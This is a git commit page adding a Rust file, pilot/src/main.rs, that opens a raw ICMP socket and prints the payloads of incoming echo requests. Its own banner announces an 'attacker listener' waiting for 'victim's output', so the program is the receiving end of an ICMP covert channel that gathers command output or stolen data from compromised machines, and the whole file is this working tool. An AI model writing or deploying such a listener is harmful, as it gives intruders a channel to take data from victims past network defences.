diff options
author | Matt Wimbler <[email protected]> | 2025-06-22 18:23:33 +0200 |
---|---|---|
committer | Matt Wimbler <[email protected]> | 2025-06-22 18:23:33 +0200 |
commit | 54a54b0d0d3365dcad90e09d48ea9257487f35e9 (patch) | |
tree | 0f2a852a16063df2b93977bbf5f9e97deda21ce5 /pilot/src | |
parent | 746d7933ea871a873a73be96747350edd015f8d5 (diff) |
Diffstat (limited to 'pilot/src')
-rw-r--r-- | pilot/src/main.rs | 36 |
1 files changed, 36 insertions, 0 deletions
diff --git a/pilot/src/main.rs b/pilot/src/main.rs new file mode 100644 index 0000000..b5373fe --- /dev/null +++ b/pilot/src/main.rs @@ -0,0 +1,36 @@ +use std::net::IpAddr; +use pnet::packet::{Packet}; +use pnet::packet::icmp::{IcmpTypes, echo_request, IcmpPacket}; +use pnet::transport::{icmp_packet_iter, transport_channel, TransportChannelType, TransportProtocol}; +use pnet::packet::ip::IpNextHeaderProtocols; + +fn main() { + let protocol = TransportChannelType::Layer4(TransportProtocol::Ipv4(IpNextHeaderProtocols::Icmp)); + let (_tx, mut rx) = transport_channel(1024, protocol).expect("Failed to open channel"); + + println!("[*] Attacker listener ready — waiting for victim’s output..."); + + let mut iter = icmp_packet_iter(&mut rx); + + while let Ok((packet, sender_ip)) = iter.next() { + println!("Got ICMP packet from {} type: {:?}", sender_ip, packet.get_icmp_type()); + if packet.get_icmp_type() == IcmpTypes::EchoRequest { + if let Some(req) = echo_request::EchoRequestPacket::new(packet.packet()) { + let data = req.payload(); + if !data.is_empty() { + println!( + "[<] From {} | ID={} SEQ={} | Output:\n{}", + sender_ip, + req.get_identifier(), + req.get_sequence_number(), + String::from_utf8_lossy(data) + ); + } else { + println!("[<] From {} | ID={} SEQ={} | No payload", sender_ip, req.get_identifier(), req.get_sequence_number()); + } + } else { + println!("Malformed ICMP Echo Request packet"); + } + } + } +} |